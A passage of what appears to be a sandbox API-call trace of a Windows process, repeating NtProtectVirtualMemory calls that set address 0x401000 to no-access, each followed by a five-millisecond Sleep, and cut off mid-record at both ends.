BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.328] Sleep (dwMilliseconds=0x5) [0332.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.390] Sleep (dwMilliseconds=0x5) [0332.435] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.436] Sleep (dwMilliseconds=0x5) [0332.483] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.484] Sleep (dwMilliseconds=0x5) [0332.558] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.559] Sleep (dwMilliseconds=0x5) [0332.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.606] Sleep (dwMilliseconds=0x5) [0332.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.655] Sleep (dwMilliseconds=0x5) [0332.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.697] Sleep (dwMilliseconds=0x5) [0332.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.746] Sleep (dwMilliseconds=0x5) [0332.794] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.794] Sleep (dwMilliseconds=0x5) [0332.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.844] Sleep (dwMilliseconds=0x5) [0332.892] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.893] Sleep (dwMilliseconds=0x5) [0332.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.973] Sleep (dwMilliseconds=0x5) [0333.020] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.021] Sleep (dwMilliseconds=0x5) [0333.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.067] Sleep (dwMilliseconds=0x5) [0333.110] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.110] Sleep (dwMilliseconds=0x5) [0333.157] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.158] Sleep (dwMilliseconds=0x5) [0333.205] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.206] Sleep (dwMilliseconds=0x5) [0333.253] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.254] Sleep (dwMilliseconds=0x5) [0333.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.302] Sleep (dwMilliseconds=0x5) [0333.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.350] Sleep (dwMilliseconds=0x5) [0333.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.408] Sleep (dwMilliseconds=0x5) [0333.456] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.457] Sleep (dwMilliseconds=0x5) [0333.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.505] Sleep (dwMilliseconds=0x5) [0333.551] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.552] Sleep (dwMilliseconds=0x5) [0333.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.595] Sleep (dwMilliseconds=0x5) [0333.644] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.645] Sleep (dwMilliseconds=0x5) [0333.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.689] Sleep (dwMilliseconds=0x5) [0333.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.783] Sleep (dwMilliseconds=0x5) [0333.829] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.830] Sleep (dwMilliseconds=0x5) [0333.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.887] Sleep (dwMilliseconds=0x5) [0333.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.929] Sleep (dwMilliseconds=0x5) [0333.973] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0333.974] Sleep (dwMilliseconds=0x5) [0334.023] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.024] Sleep (dwMilliseconds=0x5) [0334.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.103] Sleep (dwMilliseconds=0x5) [0334.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.149] Sleep (dwMilliseconds=0x5) [0334.194] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.195] Sleep (dwMilliseconds=0x5) [0334.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.241] Sleep (dwMilliseconds=0x5) [0334.286] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.287] Sleep (dwMilliseconds=0x5) [0334.334] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.335] Sleep (dwMilliseconds=0x5) [0334.409] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.410] Sleep (dwMilliseconds=0x5) [0334.458] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.458] Sleep (dwMilliseconds=0x5) [0334.505] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.506] Sleep (dwMilliseconds=0x5) [0334.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.558] Sleep (dwMilliseconds=0x5) [0334.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.599] Sleep (dwMilliseconds=0x5) [0334.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.646] Sleep (dwMilliseconds=0x5) [0334.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.690] Sleep (dwMilliseconds=0x5) [0334.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.738] Sleep (dwMilliseconds=0x5) [0334.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.786] Sleep (dwMilliseconds=0x5) [0334.829] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.830] Sleep (dwMilliseconds=0x5) [0334.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.877] Sleep (dwMilliseconds=0x5) [0334.969] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.970] Sleep (dwMilliseconds=0x5) [0335.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.019] Sleep (dwMilliseconds=0x5) [0335.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.068] Sleep (dwMilliseconds=0x5) [0335.111] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.112] Sleep (dwMilliseconds=0x5) [0335.159] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.160] Sleep (dwMilliseconds=0x5) [0335.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.230] Sleep (dwMilliseconds=0x5) [0335.282] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.282] Sleep (dwMilliseconds=0x5) [0335.329] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.330] Sleep (dwMilliseconds=0x5) [0335.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.388] Sleep (dwMilliseconds=0x5) [0335.425] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.426] Sleep (dwMilliseconds=0x5) [0335.473] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.474] Sleep (dwMilliseconds=0x5) [0335.516] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.517] Sleep (dwMilliseconds=0x5) [0335.564] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.565] Sleep (dwMilliseconds=0x5) [0335.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.612] Sleep (dwMilliseconds=0x5) [0335.659] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.660] Sleep (dwMilliseconds=0x5) [0335.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.706] Sleep (dwMilliseconds=0x5) [0335.753] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.753] Sleep (dwMilliseconds=0x5) [0335.801] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.802] Sleep (dwMilliseconds=0x5) [0335.864] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.865] Sleep (dwMilliseconds=0x5) [0335.913] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.914] Sleep (dwMilliseconds=0x5) [0335.965] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.966] Sleep (dwMilliseconds=0x5) [0336.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.023] Sleep (dwMilliseconds=0x5) [0336.066] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.067] Sleep (dwMilliseconds=0x5) [0336.161] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.162] Sleep (dwMilliseconds=0x5) [0336.204] NtProtectVirtualMemory (in: 